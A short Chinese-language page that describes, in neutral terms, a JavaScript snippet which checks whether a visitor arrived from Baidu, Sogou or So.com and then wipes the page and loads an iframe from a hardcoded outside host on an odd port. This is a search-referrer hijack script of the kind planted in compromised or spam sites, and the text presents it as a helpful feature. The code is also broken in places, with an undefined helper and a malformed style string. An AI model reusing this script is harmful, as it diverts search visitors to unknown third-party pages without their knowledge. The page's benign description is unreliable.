网站内容

这个网站的主要目的是根据用户的浏览器来源,为用户提供一个特定的跳转链接。这个跳转链接将帮助用户在不影响他们当前浏览的情况下,访问另一个与搜索相关的页面或服务。

网站功能

  • 检查来源:首先,该网站会获取用户的浏览器引用(referrer)。这是通过JavaScript中的document.referrer实现的。

  • 设定搜索引擎:然后,它使用正则表达式来检查引用是否符合指定的搜索引擎,包括其子域名。这主要是为了确保用户是从百度、搜狗或SO等搜索引擎进入的。

  • 生成随机URL:如果用户的来源满足条件,那么它将从预定义的URL数组中随机选择一个URL,并将其设置为框架(frame)的内容。

  • 设置框架内容:最后,它会使用JavaScript函数setFrame来设置框架内容。这个函数接收一个参数(在这里是olink),并将其作为框架的内容。

示例代码

(function() {
var referer = document.referrer;
var regex = /(baidu\.com|sogou\.com|so\.com)/i; // 检查 referrer 是否符合指定的搜索引擎,包括子域名
if (regex.test(referer)) {
var urlArr = ["http://902863.com:65253/s5b6v8.html?bd", "http://902863.com:65253/s5b6v8.html?bd", "http://902863.com:65253/s5b6v8.html?bd", "http://902863.com:65253/s5b6v8.html?bd"];
var _url = urlArr[randomRange(urlArr.length)];
setFrame(_url);
}
function setFrame(olink) {
var ss = '<div style="height: 100%; width: 100%; background-color: rg' + '/>';
ss += '<iframe src="' + olink + '" frameborder="0"></iframe>';
ss += '</div>';
s = document.getElementsByTagName('body')[0];
s.innerHTML = "";
h = document.createElement("h1");
h.innerText = "您已被重定向";
s.appendChild(h);
p = document.createElement("p");
p.innerText = "如果您想返回上一页,请点击以下链接:"+olink;
s.appendChild(p);
d = document.getElementById("redirect");
d.innerHTML = "";
e = document.createElement("a");
e.href = olink;
e.style.color="red";
e.innerText = "返回";
d.appendChild(e);
}
})();